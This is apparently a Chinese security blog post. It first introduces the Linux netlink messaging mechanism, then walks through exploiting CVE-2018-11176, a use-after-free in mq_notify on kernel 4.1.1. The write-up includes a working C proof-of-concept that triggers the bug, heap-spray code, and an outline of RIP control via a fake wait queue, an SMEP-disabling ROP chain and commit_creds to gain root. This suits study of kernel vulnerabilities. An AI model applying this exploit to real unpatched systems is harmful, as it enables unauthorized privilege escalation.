分类 默认分类 下的文章

netlink 协议分析

分析了过几个Linux内核的漏洞,都与netlink 机制有关,这篇文章用于介绍linux kernel中的netlink 机制,主要是介绍 用户->内核的通信。

什么是netlink

它是一种用于内核空间与用户空间进行通信的机制,同时也可以用于进程间通信,属于异步全双工通信。支持单播和多播模式。

netlink 消息格式

netlink消息由两部分组成:消息头(16字节)+消息体

netlink 消息头

消息头结构 nlmsghdr

struct nlmsghdr
{
    __u32        nlmsg_len;    /* 消息总长度:消息头+消息体 */
    __u16        nlmsg_type;    /* 消息类型 */
    __u16        nlmsg_flags;    /* 标志 */
    __u32        nlmsg_seq;    /* 消息序号,类似于tcp的确认机制 */
    __u32        nlmsg_pid;    /*  */
};
  • 消息类型:
NLMSG_NOOP-   空消息,什么也不做;
NLMSG_ERROR-  指明该消息中包含一个错误;
NLMSG_DONE-   如果内核通过Netlink队列返回了多个消息,那么队列的最后一条消息的类型为NLMSG_DONE,
              其余所有消息的nlmsg_flags属性都被设置NLM_F_MULTI位有效。
NLMSG_OVERRUN-暂时没用到。
  • 消息标志:
NLM\_F\_REQUEST  : 如果消息中有该标记位,说明这是一个请求消息。所有从用户空间到内核空间的消息都要设置该位,否则内核将向用户返回一个EINVAL无效参数的错误 
NLM\_F\_MULTI : 消息从用户->内核是同步的立刻完成,而从内核->用户则需要排队。如果内核之前收到过来自用户的消息中有NLM_F_DUMP位为1的消息,那么内核就会向用户空间发送一个由多个Netlink消息组成的链表。除了最后个消息外,其余每条消息中都设置了该位有效。 
NLM\_F\_ACK : 该消息是内核对来自用户空间的NLM_F_REQUEST消息的响应 
NLM\_F\_ECHO : 如果从用户空间发给内核的消息中该标记为1,则说明用户的应用进程要求内核将用户发给它的每条消息通过单播的形式再发送给用户进程。和我们通常说的“回显”功能类似。 
  • 消息序号:配合消息标志 NLM_F_ACK类型的消息使用,类似于tcp的确认机制
  • 发送方进程id:建立的“通道编号”。当从用户->内核时,这个值一般用用户空间的进程id表示;当从内核->用户时,一般为0.

消息体

地址结构体sockaddr_nl,该结构体用于在执行bind()时,将netlink socket与源地址进行绑定,

struct sockaddr_nl
{
    sa_family_t    nl_family;    /*该字段总是为AF_NETLINK    */
    unsigned short    nl_pad;    /* 填充为0*/
    __u32        nl_pid;        /* process pid    */
    __u32        nl_groups;    /* multicast groups mask */
};
  • nl_pid : 发送或接收方进程id,如果是希望发送给内核或者这是一个多播消息,则写为0。
  • nl_groups : 用户空间多播组掩码。如果设为0,则不加入任何多播组,为单播消息。

如何使用

netlink 就是一种特殊的socket。

netlink socket 创建

fd = socket(AF_NETLINK,SOCK_RAW,0)

将netlink socket与地址进行绑定

再绑定之前,需要先创建一个地址结构sockaddr_nl

struct sockaddr_nl nladdr;
nladdr.nl_family = AF_NETLINK;
nladdr.nl_groups = 0;
nladdr.nl_pad = 0;
nladdr.nl_pid = 0;
bind(fd,(struct sockaddr*)&nladdr,sizeof(struct sockaddr_nl));

将该消息发送出去

struct msghdr

msghdr结构体为sendmsg()系统调用发送的消息整体,因此他需要包含几个部分:

  • 目的地址
  • netlink 消息头
  • netlink 消息体

如图所示:

msg_name:接收者的地址
msg_namelen:长度

首先发送该消息之前需要创建一个地址结构体sockaddr_nl表示接收者的地址。

    struct msghdr msg;
    memset(&msg,0,sizeof(msg));
    msg.msg_name = &nladdr; /*address of receiver*/
    msg.msg_namelen = sizeof(nladdr);

构建消息头 nlmsghdr

    char buffer[] = "An example message";
    struct nlmsghdr nlhdr;
    nlhdr = (struct nlmsghdr *)malloc(NLMSG_SPACE(MAX_MSGSIZE));
    strcpy(NLMSG_DATA(nlhdr),buffer);
    nlhdr->nlmsg_len = NLMSG_LENGTH(strlen(buffer));
    nlhdr->nlmsg_pid = getpid();  /* self pid */
    nlhdr->nlmsg_flags = 0;

消息头里面的nlmsg_pid是发送方的pid

从cve-2018-11176 学习 kernel pwn

文章首发于先知社区

环境

  • linux kernel 4.1.1

相关结构

task_struct

struct  task_struct  { 
    volatile  long  state ;             //进程状态(运行,停止,...)
    void  * stack ;                     //任务的堆栈指针
    int  prio ;                        //进程优先级
    struct  mm_struct  * mm ;            //内存地址空间
    struct  files_struct  * file;      //打开文件信息
    const  struct  cred  * cred ;         //凭证,保存uid等权限信息
  // ... 
};

每个进程,线程都有自己的task_struct,可以通过current宏进行访问

fd,file object,fdt,file_struct

fd:对于给定进程而言,是一个整数
file object(struct file):表示一个已经打开的文件

struct  file  { 
    loff_t                             f_pos ;             //“cursor”,同时读取文件
    atomic_long_t                      f_count ;           //对象的引用计数器
    const  struct  file_operations       * f_op ;             //虚函数表(VFT)指针
  void                               * private_data ;       //文件“specialization”使用
  // ... 
};

struct file *filp; / *文件指针 * /

fdt:将fd转换为对应的filp,这个映射不是一一映射,可能对各文件描述符指向同一个文件对象,这种情况下,文件对象的引用计数器加一。

struct  fdtable  { 
    unsigned  int  max_fds ; 
    struct  file  **  fd ;       / *当前fd数组* / 
  // ... 
};

file_struct :将fdt链接到进程内部,file_struct可以在多个线程之间共享

struct  files_struct  { 
    atomic_t  count ;            //引用计数器
    结构 fdtable  * fdt ;       //指向文件描述符表的指针
  // ... 
};

socket,sock,skb

创建socket时,比如调用了socket syscall,就会创建一个struct file类型的的socket文件对象,然后创建一个结构体socker_file_ops,里面包含了对这个file的操作,并且将它的操作(file operation)嵌入其中

static const struct file_operations socket_file_ops = {
    .read = sock_aio_read,      // <---- calls sock->ops->recvmsg()
    .write =    sock_aio_write, // <---- calls sock->ops->sendmsg()
    .llseek =   no_llseek,      // <---- returns an error
  // ...
}

socket实际上实现了许多socket api,这些api都被嵌入到一个虚拟函数表(virtual function table)的结构体中,结构体被称为proto_ops,每一种类型的socket都执行它们自己的proto_ops

struct proto_ops {
    int     (*bind)    (struct socket *sock, struct sockaddr *myaddr, int sockaddr_len);
    int     (*connect) (struct socket *sock, struct sockaddr *vaddr,  int sockaddr_len, int flags);
    int     (*accept)  (struct socket *sock, struct socket *newsock, int flags);
  // ...
}

当一个BSD-style syscall被调用的的时候,一般流程如下:

  • 从(fdt)文件描述符表中,检索对应的struct file(文件对象)
  • 从 文件对象中找到 struct socket
  • 调用对应的proto_ops进行回调

struct socket实际上在网络栈的最顶层,通常再进行一些sending/receiving data操作时需要控制底层,因此,socket对象里面有一个指针指向了sock对象(struct sock)

struct socket {
    struct file     *file;
    struct sock     *sk;
    const struct proto_ops  *ops;
  // ...
};

当网卡收到一个来自外界的数据包时,网卡驱动会把这个packet(排队)放到receiving buf中,这个packet会一直在这个缓冲区内,直到应用程序决定接收(recvmsg())它。相反,当应用程序想要发送(sendmsg())一个数据包,这个packet会被放到sending buf内,一旦收到“通知”,网卡驱动就会将它发送出去。
这些packet也被称为struct sk_buff或者skb,sending/receiving buf基本上是一个skb的双向链表

struct sock {
    int         sk_rcvbuf;    // theorical "max" size of the receive buffer
    int         sk_sndbuf;    // theorical "max" size of the send buffer
    atomic_t        sk_rmem_alloc;  // "current" size of the receive buffer
    atomic_t        sk_wmem_alloc;  // "current" size of the send buffer
    struct sk_buff_head sk_receive_queue;   // head of doubly-linked list
    struct sk_buff_head sk_write_queue;     // head of doubly-linked list
    struct socket       *sk_socket;
  // ...
}

从上面的结构体中的可以看出来,sock对象中也引用了socket对象(sk_socket),但是在网上看,socket对象中也引用了sock对象(sk),同理,struct socket中引用了file对象(file),struct file中引用了socket对象(private_data),这种双向机制使得数据可以贯通整个网络栈。

netlink socket

这是一种特殊的socket,它允许用户空间与kernel通信,它可以用来修改路由表,接受SElinux事件通知,甚至可以与其他用户空间进程进行通信。
因为struct sock与struct socket都属于支持各种类型socket的通用数据结构,
从socket对象的观点来看,proto_ops字段需要定义,对于netlink家族来说,BSD-style socket的操作都是netlink_ops

static const struct proto_ops netlink_ops = {
    .bind =     netlink_bind,
    .accept =   sock_no_accept,     // <--- calling accept() on netlink sockets leads to EOPNOTSUPP error
    .sendmsg =  netlink_sendmsg,
    .recvmsg =  netlink_recvmsg,
  // ...
}

从sock的角度来看,在netlink的例子中,又有了专门的实现

struct netlink_sock {
    /* struct sock has to be the first member of netlink_sock */
    struct sock     sk; <<<<+++++++++++++++++++
    u32         pid;
    u32         dst_pid;
    u32         dst_group;
  // ...
};

netlink_sock 是由一个sock对象增加了许多附加属性.

这里有个问题没明白 free(&netlink_sock.sk) 等价于 free(&netlink_sock)

引用计数

当一个对象被其它对象引用时,引用计数器+1,当删除引用后-1,当引用计数器为0时,就会释放该对象。
正常情况下,对象的引用与释放是平衡的,但是当失去平衡的时候就会出现 memory corruption(内存破坏),
如下面的例子:

  • 引用计数减少两次:uaf
  • 引用计数增加两次:memory leak or int-overflow leading to uaf

回到漏洞部分

漏洞产生的原因

通过path可以发现,漏洞产生的原因是因为没有把sock对象的指针置NULL

diff --git a/ipc/mqueue.c b/ipc/mqueue.c
index c9ff943..eb1391b 100644
--- a/ipc/mqueue.c
+++ b/ipc/mqueue.c
@@ -1270,8 +1270,10 @@ retry:

      timeo = MAX_SCHEDULE_TIMEOUT;
      ret = netlink_attachskb(sock, nc, &timeo, NULL);
-     if (ret == 1)
+     if (ret == 1) {
+       sock = NULL;
        goto retry;
+     }
      if (ret) {
        sock = NULL;
        nc = NULL;

这段代码出现在mq_notify函数中,return to the code->

SYSCALL_DEFINE2(mq_notify, mqd_t, mqdes,
        const struct sigevent __user *, u_notification)
{
    int ret;
    struct fd f;
    struct sock *sock;
    struct inode *inode;
    struct sigevent notification;
    struct mqueue_inode_info *info;
    struct sk_buff *nc;     / *网络数据包* / 
        / *判断u_notification是否为空,不为空,则拷贝到内核空间* /
    if (u_notification) {
        if (copy_from_user(&notification, u_notification,
                    sizeof(struct sigevent)))
            return -EFAULT;
    }
        / *记录系统调用* /
    audit_mq_notify(mqdes, u_notification ? &notification : NULL);
        / *初始化nc,sock
    nc = NULL;
    sock = NULL;
    if (u_notification != NULL) {
                / *判断是哪一种通知方法* /
        if (unlikely(notification.sigev_notify != SIGEV_NONE &&
                 notification.sigev_notify != SIGEV_SIGNAL &&
                 notification.sigev_notify != SIGEV_THREAD))
            return -EINVAL;
                /*通过发送指定的信号进行通知,并判断信号编号是否有效* /
        if (notification.sigev_notify == SIGEV_SIGNAL &&
            !valid_signal(notification.sigev_signo)) {
            return -EINVAL;
        }
                /*通过创建线程进行通知*/
        if (notification.sigev_notify == SIGEV_THREAD) {
            long timeo;

            /* create the notify skb */
                        /* 申请内存,存放网络数据包(用于通知)* /
            nc = alloc_skb(NOTIFY_COOKIE_LEN, GFP_KERNEL);
            if (!nc) {
                ret = -ENOMEM;
                goto out;
            }
            if (copy_from_user(nc->data,
                    notification.sigev_value.sival_ptr,
                    NOTIFY_COOKIE_LEN)) {
                ret = -EFAULT;
                goto out;
            }

            /* TODO: add a header? */
                        /* skb_put()功能并不是将引用计数器减1,而是“push data info sk buffer”.
            skb_put(nc, NOTIFY_COOKIE_LEN);
            /* and attach it to the socket */
retry:
                        /*根据fd获取对应的file对象*/
            f = fdget(notification.sigev_signo);
            if (!f.file) {
                ret = -EBADF;
                goto out;
            }
                        /*在file object中获取对应的sock对象指针*/
            sock = netlink_getsockbyfilp(f.file);/*调用sock_hold(),sock对象的引用计数器+1*/
            fdput(f);/*file 的引用计数器-1*/
            if (IS_ERR(sock)) {
                ret = PTR_ERR(sock);
                sock = NULL;
                goto out;
            }

            timeo = MAX_SCHEDULE_TIMEOUT;
                        /*出现分支,1,0,other 三条路径*/
                        /*正常功能就是将skb加入到sk receiving buf中*/
            ret = netlink_attachskb(sock, nc, &timeo, NULL);
            if (ret == 1)
                goto retry; /*进入retry 逻辑*/
            if (ret) {
                sock = NULL;
                nc = NULL;
                goto out;
            }
        }
    }
/ *省略不必要的部分* /
out:
    if (sock)
        netlink_detachskb(sock, nc);
    else if (nc)
        dev_kfree_skb(nc);

    return ret;
}
-------------------------------------------CUT LINE---------------------------------------------------
int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
              long *timeo, struct sock *ssk)
{
    struct netlink_sock *nlk;

    nlk = nlk_sk(sk);
        /*判断sk的实际大小与理论大小 or netlink_sock是否处于拥堵状态*/
    if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf ||
         test_bit(NETLINK_CONGESTED, &nlk->state)) &&
        !netlink_skb_is_mmaped(skb)) {
                /*声明一个等待队列*/
        DECLARE_WAITQUEUE(wait, current);
        if (!*timeo) {
            if (!ssk || netlink_is_kernel(ssk))
                netlink_overrun(sk);
            sock_put(sk);
            kfree_skb(skb);
            return -EAGAIN;
        }
                /*设置当前task状态为TASK_INTERRUPTIBLE*/
        __set_current_state(TASK_INTERRUPTIBLE);
                /*添加到wait 队列*/
        add_wait_queue(&nlk->wait, &wait);

        if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf ||
             test_bit(NETLINK_CONGESTED, &nlk->state)) &&
            !sock_flag(sk, SOCK_DEAD))
            *timeo = schedule_timeout(*timeo);
                /*设置当前task状态为TASK_RUNNING*/
        __set_current_state(TASK_RUNNING);
                /*移除等待队列*/
        remove_wait_queue(&nlk->wait, &wait);
        sock_put(sk);/*sock对象的引用计数器-1,此时加减平衡*/

        if (signal_pending(current)) {
            kfree_skb(skb);
            return sock_intr_errno(*timeo);
        }
        return 1;
    }
    netlink_skb_set_owner_r(skb, sk);
    return 0;
}
---------------------------------CUT LINE--------------------------------------------------------------
static void netlink_skb_set_owner_r(struct sk_buff *skb, struct sock *sk)
{
    WARN_ON(skb->sk != NULL);
    skb->sk = sk;
    skb->destructor = netlink_skb_destructor;
    atomic_add(skb->truesize, &sk->sk_rmem_alloc);
    sk_mem_charge(sk, skb->truesize);
}

详细的代码分析以注释在上面。
关于mq_notify():

  • 参数:
  1. mqdes:消息队列描述符
  2. notification:(1)not null:表示消息到达,且先前队列为空(2)null:表示撤销已注册的通知
  • 通知方式:
  1. 产生一个信号
  2. 创建一个线程执行一个函数

通过分析上面的代码可知,mq_notify()有如下几条路径:

  • u_notification 为空时:调用remove_notification()撤销已注册通知
  • u_notification 不为空:判断通知类型:(1)SIGV_THREAD:申请内存空间并将用户空间通知拷贝到内核(nc)->将nc压入sock队列中-->获取对应的fd->从fd对应的filp中获取对应的sock对象->将数据包与sock相关联->根据返回值选择continue/goto retry/goto out->goto retry:如果close这个file,那么将会直接goto out,此时sock不为空,会执行netlink_datachskb(),导致uaf。
  • 还有中间过程出错直接goto out的路径就不写了

如何触发漏洞

根据patch可知,ret==1 时触发漏洞,ret是netlink_attachskb的返回值。
分析一下mq_notify系统调用执行到netlink_attachskb的条件:

  • u_notification != NULL
  • notification.sigev_notify = SIGEV_THREAD
  • notification.sigev_value.sival_ptr 必须有效
  • notification.sigev_signo 提供一个有效的文件描述符

这样就到达了 netlink_attachskb函数
再来详细分析一下这个函数(已经在上面代码中给出),看一下漏洞触发的路径,以及经历了哪些判断:
1, 根据代码可知,下面这个条件必须为真,首先对sk->sk_rmem_alloc跟sk->sk_rcvbuf进行了判断,如果判断不通过,则直接执行netlink_set_owner_r函数

if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf ||
         test_bit(NETLINK_CONGESTED, &nlk->state)) &&
        !netlink_skb_is_mmaped(skb))

sk_rmem_alloc可以视为sk缓冲区的当前大小,sk_rcvbuf是sk的理论大小,因为sk_rmem_alloc有等于0的情况,因此sk_rcvbuf可能需要<0才可以,在sock_setsockopt函数中可以设置sk_rcvbuf的值,但是,它的值始终会是一个>0的值,因此通过更改sk_rcvbuf不是最好的解决方案,因此看一下sk_rmem_alloc.

        val = min_t(u32, val, sysctl_rmem_max);
set_rcvbuf:
        sk->sk_userlocks |= SOCK_RCVBUF_LOCK;
        sk->sk_rcvbuf = max_t(u32, val * 2, SOCK_MIN_RCVBUF);

分析前面代码可以注意到,通过skb_set_owner_r可以更改sk_rmem_alloc的值,调用链如下:
netlink_sendmsg->netlink_unicast->netlink_attachskb->netlink_skb_owner_r
netlink_sendmsg可以在用户空间通过调用sendmsg实现调用

因此首先分析netlink_sendmsg函数:

static int netlink_sendmsg(struct socket *sock, struct msghdr *msg, size_t len)
{
    struct sock *sk = sock->sk;
    struct netlink_sock *nlk = nlk_sk(sk);
    DECLARE_SOCKADDR(struct sockaddr_nl *, addr, msg->msg_name);
    u32 dst_portid;
    u32 dst_group;
    struct sk_buff *skb;
    int err;
    struct scm_cookie scm;
    u32 netlink_skb_flags = 0;

    if (msg->msg_flags&MSG_OOB)
        return -EOPNOTSUPP;

    err = scm_send(sock, msg, &scm, true);
    if (err < 0)
        return err;

    if (msg->msg_namelen) {
        err = -EINVAL;
        if (addr->nl_family != AF_NETLINK)
            goto out;
        dst_portid = addr->nl_pid;
        dst_group = ffs(addr->nl_groups);
        err =  -EPERM;
        if ((dst_group || dst_portid) &&
            !netlink_allowed(sock, NL_CFG_F_NONROOT_SEND))
            goto out;
        netlink_skb_flags |= NETLINK_SKB_DST;
    } else {
        dst_portid = nlk->dst_portid;
        dst_group = nlk->dst_group;
    }

    if (!nlk->portid) {
        err = netlink_autobind(sock);
        if (err)
            goto out;
    }

    /* It's a really convoluted way for userland to ask for mmaped
     * sendmsg(), but that's what we've got...
     */
    if (netlink_tx_is_mmaped(sk) &&
        msg->msg_iter.type == ITER_IOVEC &&
        msg->msg_iter.nr_segs == 1 &&
        msg->msg_iter.iov->iov_base == NULL) {
        err = netlink_mmap_sendmsg(sk, msg, dst_portid, dst_group,
                       &scm);
        goto out;
    }

    err = -EMSGSIZE;
    if (len > sk->sk_sndbuf - 32)
        goto out;
    err = -ENOBUFS;
    skb = netlink_alloc_large_skb(len, dst_group);
    if (skb == NULL)
        goto out;

    NETLINK_CB(skb).portid    = nlk->portid;
    NETLINK_CB(skb).dst_group = dst_group;
    NETLINK_CB(skb).creds    = scm.creds;
    NETLINK_CB(skb).flags    = netlink_skb_flags;

    err = -EFAULT;
    if (memcpy_from_msg(skb_put(skb, len), msg, len)) {
        kfree_skb(skb);
        goto out;
    }

    err = security_netlink_send(sk, skb);
    if (err) {
        kfree_skb(skb);
        goto out;
    }

    if (dst_group) {
        atomic_inc(&skb->users);
        netlink_broadcast(sk, skb, dst_portid, dst_group, GFP_KERNEL);
    }
    err = netlink_unicast(sk, skb, dst_portid, msg->msg_flags&MSG_DONTWAIT);

out:
    scm_destroy(&scm);
    return err;
}

如果想要执行netlink_unicast函数,则需要满足以下条件:

  • msg->msg_flags != MSG_OOB
  • scm()返回值 = 0,分析scm_send函数可知,只需要 msg->msg_controllen <= 0 即可。
  • msg_>msg_namelen 不为空 , nl_family = AF_NETLINK
  • 传入的参数 len < (sk->sk_sndbuf - 32)

这样就可以执行netlink_unicast(),这里面基本没有我们的可控参数,可以直接执行netlink_attachskb(),结合上面的代码可知,当sk_rmem_alloc < skrcvbuf 时,便会执行netlink_skb_set_owner_r函数,因此只要 sk_rmem_alloc < sk_rcvbuf,就会增加sk_rmem_alloc的大小

static void netlink_skb_set_owner_r(struct sk_buff *skb, struct sock *sk)
{
    WARN_ON(skb->sk != NULL);
    skb->sk = sk;
    skb->destructor = netlink_skb_destructor;
    atomic_add(skb->truesize, &sk->sk_rmem_alloc);
    sk_mem_charge(sk, skb->truesize);
}

这样每次都可以增加sk_rmem_alloc的值。

进入这个判断以后,当前的线程被加入wait队列中,timeo肯定不为 NULL,所以当前线程状态被设置为task_interruptible,然后cpu调度进入block状态,等待被唤醒然后顺序执行,signal_pending 检查是否有序号需要被处理,返回值=0,表示没有信号。然后返回1,

触发漏洞

前面已经知道了如何让 ret = 1,这里会继续执行retry,通过fd获取filp......,但是如果filp = NULL,就会进入out label

out:
    if (sock)
        netlink_detachskb(sock, nc);
    else if (nc)
        dev_kfree_skb(nc);

此时的sock不为空,但是netlink_detachskb对其减1,如果等于0,则free。
再次回到mq_notify主逻辑,看一下函数对sock的操作:

  • netlink_getsockbyfilp->sock_hold() : sk->refcnt += 1
  • netlink_attachskb -> sk_put() : sk->refcnt -= 1

正常逻辑下:根据fd获取到sock结构,此时sock的引用加1,然后进入attachskb函数,判断此时的sk是不是“满了”,如果“满了”,则sock的引用减1,然后继续尝试获取sock,当sock还有剩余空间的时候,把skb跟sock绑定。这样一来,sock的引用,一加一减,保持平衡。但是如果有两个线程,thread1在还没进入retry的时候,thread2把file关闭了,也就是说此时filp为NULL,thread1将进入out label,但是sock不为NULL,因此,sock的refcnt将会减1,但是在退出程序时,内核会将分配的对象释放掉,最终会调用sock->ops->release(),但是sock已经在前面被我们释放掉了,如果这块内存又被我们申请回来,并写入其他数据控制程序流,导致uaf,就可以执行任意代码。

编写poc

#define _GNU_SOURCE
#include <asm/types.h>
#include <mqueue.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <pthread.h>
#include <errno.h>
#include <stdbool.h>

#define MAX_MSGSIZE 1024
#define SOL_NETLINK (270)
#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)

struct state
{
    int ok;
    int fd;
    int close_fd;
}state;


int add_rmem_alloc(void){
    int fd1 = -1;
    int fd2 = -1;
    fd1 = socket(AF_NETLINK,SOCK_RAW,2);
    fd2 = socket(AF_NETLINK,SOCK_DGRAM,2);
    struct sockaddr_nl nladdr;
    nladdr.nl_family = AF_NETLINK;
    nladdr.nl_groups = 0;
    nladdr.nl_pad = 0;
    nladdr.nl_pid = 10;
    bind(fd1,(struct sockaddr*)&nladdr,sizeof(struct sockaddr_nl));

    struct msghdr msg;
    struct sockaddr_nl r_nladdr;
    r_nladdr.nl_pad = 0;
    r_nladdr.nl_pid = 10;
    r_nladdr.nl_family = AF_NETLINK;
    r_nladdr.nl_groups = 0;
    
    memset(&msg,0,sizeof(msg));
    msg.msg_name = &r_nladdr; /*address of receiver*/
    msg.msg_namelen = sizeof(nladdr);
    /* message head */
    char buffer[] = "An example message";
    struct nlmsghdr *nlhdr;
    nlhdr = (struct nlmsghdr*)malloc(NLMSG_SPACE(MAX_MSGSIZE));
    strcpy(NLMSG_DATA(nlhdr),buffer);
    nlhdr->nlmsg_len = NLMSG_LENGTH(strlen(buffer));/*nlmsghdr len + data len*/
    nlhdr->nlmsg_pid = getpid();  /* self pid */
    nlhdr->nlmsg_flags = 0;

    struct iovec iov;
    iov.iov_base = nlhdr;
    iov.iov_len = nlhdr->nlmsg_len;
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    
    while (sendmsg(fd2, &msg, MSG_DONTWAIT)>0) ;
    if (errno != EAGAIN)
    {
        perror("sendmsg");
        exit(-5);
    }
    printf("[*] sk_rmem_alloc > sk_rcvbuf ==> ok\n");
    return fd1;
    
    return 0;    
}
static void *thread2(struct state *s){
    int fd = s->fd;
    s->ok = 1;
    sleep(3);
    close(s->close_fd);
    int optval = 1;
    if(setsockopt(fd,SOL_NETLINK,NETLINK_NO_ENOBUFS,&optval,4)){
        perror("setsockopt ");
    }
    else{
        puts("[*] wake up thread 1");
    }
}
void tiger(int fd){
    pthread_t pid;
    struct state s;
    s.ok = 0;
    s.fd = fd;
    s.close_fd = dup(fd);
    if(errno = pthread_create(&pid,NULL,thread2,&s)){
        perror("pthread_create ");
        exit(-1);
    }  
    while(!(s.ok));
    puts("[*] mq_notify start");
    struct sigevent sigv;
    sigv.sigev_signo = s.close_fd;
    sigv.sigev_notify = SIGEV_THREAD;
    sigv.sigev_value.sival_ptr = "test";
    _mq_notify((mqd_t)0x666,&sigv);
    puts("ok");
}
int main(){
    int fd = -1;
    fd = add_rmem_alloc();
    
    tiger(fd);
    puts("ok");
    return 0;
}

根据前面分析的流程,可以得到这个poc:

  • add_rmem_alloc 函数:通过sendmsg 增加 sk_rmem_alloc,使其 > sk_rcvbuf
  • tiger 函数: 通过再次创建一个线程(thread2) ,thread2执行的时候,执行mq_notify,在thread2开头先使用sleep,保证 thread1进入wait状态,然后close thread1使用的fd,然后唤醒thread1.
  • 函数退出,执行do_exit,crash

这是函数在崩溃的时候的调用栈

调用链如下:do_exit -> ___fput -> __fput -> sock_close -> sock_release -> netlink_release

netlink_release:

static int netlink_release(struct socket *sock)
{
    struct sock *sk = sock->sk;
    struct netlink_sock *nlk;

    if (!sk)
        return 0;

    netlink_remove(sk);
    sock_orphan(sk);
    nlk = nlk_sk(sk);

    ................. 省略 .............................
}

可以看到,已经被释放的sock又被重新使用了。

利用分析

通过前面分析可以知道,释放掉sock对象以后,sock对象指针成为野指针,如果我们再次分配kmalloc-1024就有可能分配到该内存,控制sock对象内的关键指针,就会更改程序流,再次分配kmalloc-1024的方式为堆喷,这里采用sendmsg,执行sendmsg系统调用时,调用路径如下,如箭头所示

最终会调用sendmsg,这里将会回调sock->proto_ops->sendmsg,当family是AF_UNIX时,将会调用unix_dgram_sendmsg

利用sendmsg控制数据

整个调用路径如下:

从sysc_sendmsg->__sys_sendmsg->___sys_sendmsg 基本不需要任何条件,因此直接分析___sys_sendmsg函数
,代码太长不在这贴了。

  • 首先建立一个ctl[36]的数组,大小为36,然后把该数组地址给一个指针ctl_buf
  • flag != MSG_CMSG_COMPAT ==> 把参数msg,传递给内核空间的msg_sys (均为 struct msghdr)
  • 判断 msg_controllen 不大于 INT_AMX ,并将 该值赋给 ctl_len
  • flag != MSG_CMSG_COMAPT ,因此调用 sock_malloc
  • 进入sock_malloc 首先判断malloc 的size是否大于sysctl_optmem_max(:int sysctl_optmem_max __read_mostly = sizeof(unsigned long)(2*UIO_MAXIOV+512)(: uio_maxiov = 1024)(: sk_omem_alloc 初始化为0) ,因为我们要malloc的对象大小为1024,因此满足,所以通过kmalloc申请一个 1024 的堆空间,并返回该指针
  • 回到___sys_sendmsg : 把申请的堆空间指针赋值给 ctl_buf,并将 msg_control 拷贝进去,并将msg_sys->msg_control 修改为 ctl_buf
  • used_address 为null,因此执行 sock_sendmsg,这里会回调sock->unix_dgram_ops->unix_dgram_sendmsg
  • 进入unix_dgram_sendmsg
  • 直接调用scm_send()->__scm_send()
  • 在介绍下面之前,有必要理解一下 "control infomation",控制消息通过msghdr的msg_control传递,msg_control指向控制第一条控制信息所在位置,一次可以传递多个控制信息,控制信息的总长度为msg_controllen,每一个控制信息都有一个cmshdr的头部,因为包含多个控制信息,所以,下一个控制信息的地址,就是通过当前控制信息地址 + cmsg_len确定的,通过判断当前控制信息地址 + cmsg_len > msg_controllen可以确定是否还有控制消息
 struct cmsghdr {
    __kernel_size_t    cmsg_len;    /* data byte count, including hdr */
        int        cmsg_level;    /* originating protocol */
        int        cmsg_type;    /* protocol-specific type */
};
  • ___scm_send : cmsg_level != SQL_COCKET , cmsg_type,=1 或 2 都可以,只要能return 0 ;就可以
  • 进入sock_alloc_send_pskb函数:判断 sk_wmem_alloc< sk_sndbuf,sk_wmem_alloc 表示发送缓冲区长度,sk_sndbuf表示发送缓冲区的最大长度,条件如果为真,则不会阻塞。
  • 然后 申请skb空间, 通过 skb_set_owner_w 函数, 增加 sk_wmem_alloc长度。,再次申请便会阻塞

了解 ___sys_sendmsg 以后,考虑如何利用他堆喷,在执行完这个函数以后,会释放前面申请的size为1024的对象,这样无论我们怎么喷射,都只会申请同一个对象。前面分是的时候,可以知道,在某些条件下可以让这个函数阻塞,通过不断调用sendmsg,通过增大sk_wmem_alloc 使其阻塞。

struct msghdr msg;
    memset(&msg,0,sizeof(msg));
    struct iovec iov;
    char iovbuf[10];
    iov.iov_base = iovbuf;
    iov.iov_len = 10;
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    struct timeval tv;
    memset(&tv,0,sizeof(tv));
    tv.tv_sec = 0;
    tv.tv_usec = 0;
    if(setsockopt(rfd,SOL_SOCKET,SO_SNDTIMEO,&tv,sizeof(tv))){
        perror("heap spary setsockopt");
        exit(-1);
    }
    while(sendmsg(sfd,&msg,MSG_DONTWAIT)>0);

这样再通过sendmsg,给定control信息就可以堆喷占位了,不过这里因为sendmsg被阻塞了,所以通过循环去执行sendmsg是不行的,还是需要依赖于多线程。

(其实kmalloc-1024在内核中需求量不大,而且在qemu中,只需要通过一次sendmsg,就可以申请到这个对象)
    for(i=0;i<10;i++){
        if(errno = pthread_create(&pid,NULL,thread3,&t3)){
            perror("pthread_create ");
            exit(-1);
        }      
    } 

接下来就该考虑利用了,肯定是去覆盖netlink_sock对象里面的关键指针,且触发路径比较少的。
一开始考虑通过close(fd),回调sk->sk_destruct,调用链如下:

    netlink_release->call_rcu->deferred_put_nlk_sk -> sock_put -> sk_free -> __sk_free -> sk_destruct -> __sk_destruct -> netlink_sock_destruct

,但是,在执行到netlink_release的时候,会调用netlink_remove->rhashtable_remove_fast,在这里会发生崩溃,想要到达call_rcu,路径太复杂。

结合adlab给出的文章,可以利用netlink_sock的(struct wait_queue_head_t) wait 结构体,这个结构体直接嵌入到netlink_sock结构体中。

因此可以在用户空间伪造wait_queue_t,让netlink_sock->wait.task_list.next指向它,因为环境关闭了smap,因此可以不用考虑这个问题

这样我们就可以控制rip

为了执行用户空间指令,我们首先需要构造ropchain关掉smep。
通用方法就是通过mov cr4, rdi ; pop rbp ; ret诸如此类的gadgets
但是直接控制rip为这条gadgets地址肯定达不到目的,因为内核栈内容不受控,因此首先需要栈迁移,例如xchg esp,eax ; ret,这里使用eax是非常合适的,看下图

  • rdi是wait结构体的的地址,rdi+8 -> next 的地址 , 把这个指针的值即我们在用户空间伪造的 wait_queue_t->next 的地址 , 这样相当于rdx保存的是用户空间 fake wait_queue_t.next的地址
  • 然后,根据next的偏移,找到wait_queue_t的地址,并给 rax
  • 然后 call [rax+0x10]

可以看出来,eax必定是一个有效的用户空间地址

构造执行rop的时候遇到一个问题,如图

在执行push rbp的时候crash了,没找到原因,就不写函数了,直接用rop执行commit_creds(prepare_kernelk_cred(0))
